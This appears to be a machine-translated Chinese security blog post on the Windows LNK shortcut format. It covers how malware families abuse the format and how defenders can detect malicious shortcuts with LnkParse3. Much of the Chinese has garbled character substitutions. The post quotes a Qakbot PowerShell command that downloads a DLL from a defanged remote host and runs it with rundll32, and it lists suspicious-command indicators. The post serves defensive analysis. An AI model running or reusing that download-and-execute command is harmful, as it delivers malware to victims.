LNK 文件基于 Shell Link Binary 文件格式,也称为 Windows 快捷方式。然而,在零碎上执行其余二进制文件的看似绝对简略的能力在被威逼行为者滥用时可能会造成微小挫伤。
Microsoft 决定 在 Office 应用程序中默认阻止从 Internet 下载的文件的宏,这促使恶意软件开发人员转向其余技术。威逼参与者曾经确定了在不同攻打阶段应用 LNK 文件的潜在利润,因为咱们预计会看到应用 LNK 文件的攻打数量减少,例如 Bumblebee 和 Quantum Ransomware。
在此博客中,咱们将介绍文件格式,以更好地理解威逼参与者如何在不同的攻打阶段应用 LNK 文件。通过相熟 LNK(Shell Link)文件格式及其性能,咱们将介绍在事件响应和威逼搜查过程中检查和检测歹意 LNK 文件的开源工具和办法。
什么是 LNK 文件格式?
组成 shell 链接二进制 (LNK) 文件的五个构造。
依据 Microsoft 对于 Shell Link Binary 文件的文档,存储 Shell Link Binary 文件的最罕用办法是应用 .lnk 文件扩展名。LNK 文件蕴含对系统上称为链接指标的地位的援用。该格局由五个构造组成:一些是强制性的,而另一些是可选的。咱们不会涵盖构造中的每个参数,而是重点介绍有助于辨认可疑 LNK 文件的参数。
- SHELL_LINK_HEADER—— 这是一个强制构造,蕴含文件中其余构造所需的信息和标记。
LinkFlags 构造特定,文件中存在哪些 shell 链接构造(如下所述)。例如,如果设置了 HasRelativePath 标记,STRING_DATA 构造中的 RELATIVE_PATH 将蕴含相干信息。
FileAttributesFlags 构造蕴含无关链接指标属性的信息。例如,如果设置了 FILE_ATTRIBUTE_DIRECTORY 位,则指标是目录而不是文件。此构造中的字段能够提供无关链接指标的更多上下文,这有助于调查过程。
拜访、创立和写入工夫:作为事件响应过程的一部分,这对于确定文件的创立和批改工夫很有用。
HotKeyFlags 构造指定将调用应用程序的键组合。
- LINKTARGET_IDLIST — 应用 ItemID 构造指定链接的指标。
- LINKINFO—— 保留无关链接指标地位的信息,包含卷、序列号和本地门路。
- STRING_DATA — 保留无关链接指标的门路和接口的信息。这些构造是可选的,只有在 LinkFlags(在 ShellLinkHeader 中)中设置了适当的标记时它们才会呈现。以下构造可用于辨认歹意 LNK 文件:
RELATIVE_PATH:定义链接指标绝对于蕴含 shell 链接的文件的地位。
WORKING_DIR:定义激活链接指标时要应用的工作目录的文件系统门路。
COMMAND_LINE_ARGUMENTS:存储激活链接指标时指定的命令行参数。
- EXTRA_DATA—— 可选构造蕴含对于链接指标的附加信息。在所有可能的构造中,以下构造在考察中十分有用:
如果链接指标应用环境变量,则 EnvironmentVariableDataBlock 构造将保留环境变量信息的门路。
TrackerDataBlock:此构造蕴含有助于定位链接指标的信息(如果未在其原始地位找到链接指标)。其中一个字段是最初一次看到链接指标的机器的 MAC 地址。如果 LNK 文件中指定的 MAC 地址与主机的 MAC 地址不匹配,则意味着 LNK 是在另一台机器上创立的。因而,咱们须要理解它是组织内的机器还是受权实体,或者文件是否由攻击者创立和删除。
威逼行为者如何应用 LNK 文件
LNK 文件能够依据文件创建者提供的配置,应用参数(门路、参数等)执行零碎上的任何文件。LNK 文件的内容 —— 它将执行什么以及如何执行 —— 能够应用不同的工具查看,或者只需右键单击它以关上文件的属性窗口。然而大多数用户在执行之前不会查看每个 LNK 文件。实质上,LNK 文件为攻击者提供了一种执行歹意二进制文件或受信赖的离地二进制文件 (LolBins) 的简便办法。
应用属性窗口查看 LNK 文件。
通常,LNK 文件用于攻打的传递阶段。此阶段的指标是部署下一阶段的攻打或执行恶意软件。将歹意文件传送到端点的办法之一是应用存档文件,依据惠普 2022 年第二季度的报告,攻击者开始更宽泛地应用这种技术。最近,攻击者开始应用 LNK 文件作为下载器,而不是打包歹意文件存档中的代码或应用其余文件格式,例如宏。为了执行攻打,LNK 文件被设置为应用预约义参数执行 PowerShell、VBScript 或 MSHTA,或者执行来自与 LNK 文件一起删除的另一个文件的命令。
Emotet files pretending to be word documents.) 在发送给受害者的网络钓鱼电子邮件中应用了这种技术,其中包含一个受密码保护的 zip 文件,其中蕴含一个伪装成 Word 文档的 LNK 文件,该文件执行一个下载恶意软件的 VBS 脚本。
Bumblebee 是一种新的高级加载程序,它应用 LNK 文件作为攻打流程的一部分。到目前为止,它有两个版本,一个是交付的 ISO 文件,另一个是 VHD。在这两种状况下,都会蕴含一个 LNK 文件。在第一个版本中,LNK 执行附带的 DLL,其中蕴含歹意负载。更高版本更高级,LNK 文件执行附加的 PowerShell 文件,该文件加载加载器的第二阶段。
一些恶意软件开发人员更进一步,创立了一个名为 Quantum 的用于创立歹意 LNK 文件的工具,该工具在暗网上发售。它容许其余犯罪分子创立具备额定性能(例如 UAC 绕过、提早执行、执行后暗藏和各种双重扩展名)的歹意文件。
如何剖析检测歹意 LNK 文件
在事件响应或威逼搜查过程中,当咱们有可疑文件时,咱们能够抉择进行动态剖析或动态分析(或两者)。在沙盒或 VM 中执行 LNK 文件能够极大地帮忙辨认可疑流动。然而,正如咱们在下面的例子中看到的,一些攻打依赖于 LNK 文件将执行的额定文件和参数。在这种状况下,咱们须要在测试环境中领有所有相干文件,但这并不总是可行的,因而咱们将持续进行动态剖析。
有多种应用程序和工具能够查看 LNK 文件的构造。在本文中,咱们将应用 LnkParse3,这是一个基于 python3 的简洁 CLI 工具,易于装置和应用。解析后果以相似于上述 LNK 构造的格局出现。
依据先前报告的攻打中应用的 LNK 文件,咱们收集了有助于辨认可疑 LNK 文件的指标。能够应用 LnkParse3 等工具从 LNK 文件中提取此信息:
指向可用于执行脚本和关上 URL 的非法 Windows 工具的本地根本门路:cmd、rundll32、PowerShell、MSHTA。
可疑的命令行参数蕴含:
exec、frombase64、ping、VBScript 等命令。
大量命令行参数 —— 通常指定命令行参数的歹意 LNK 文件会有四个以上的参数。最重要的是,参数能够被混同或蕴含不是字母或数字的字符。但在某些状况下,Web 浏览器等非法文件能够运行带有许多参数的过程,从而导致快捷方式文件带有许多命令行参数。在这种状况下,target 和 working_dir 地位对于命令行参数的剖析和查看十分有帮忙。
网络协议和 URL,例如 HTTP、HTTPS 和 IP 地址。
文件大小绝对较大 —— 这表明它蕴含大量数据,可能是脚本。咱们留神到大于 4 KB 的文件应被视为可疑文件。
例如,上面是 Qakbot 应用的 LNK 文件的内容。它从近程地位下载 DLL 并执行它。
“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit iwr -Uri
hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile
$env:TEMP\test.dll;Start-Process rundll32.exe $env:TEMP\test.dll,jhbvygftr”
而后咱们能够应用 URL 信用工具进行剖析,以确认 LNK 文件关上了歹意链接。
URL 扫描器显示由 .lnk 文件关上的歹意链接。
一些指标可能会依据组织中的常见状况而有所不同,例如,执行非法脚本的大型 LNK 文件是否很常见。在这种状况下,须要为组织量身定制指标,但总体而言,歹意 LNK 文件具备可辨认的模式。
一旦咱们将 LNK 文件归类为可疑文件,咱们就应该查看可执行文件和正在执行的命令,并确定该文件的用处是什么以及端点是否受到毁坏。
论断
随着威逼参与者越来越多地应用 LNK 文件,防御者和事件响应者必须理解这些文件能够做什么以及如何解决这些文件。在这篇博客中,咱们介绍了能够揭示可疑指标的文件格式局部,而后咱们展现了现实生活中的例子,并展现了一个可用于查看 LNK 文件的开源工具。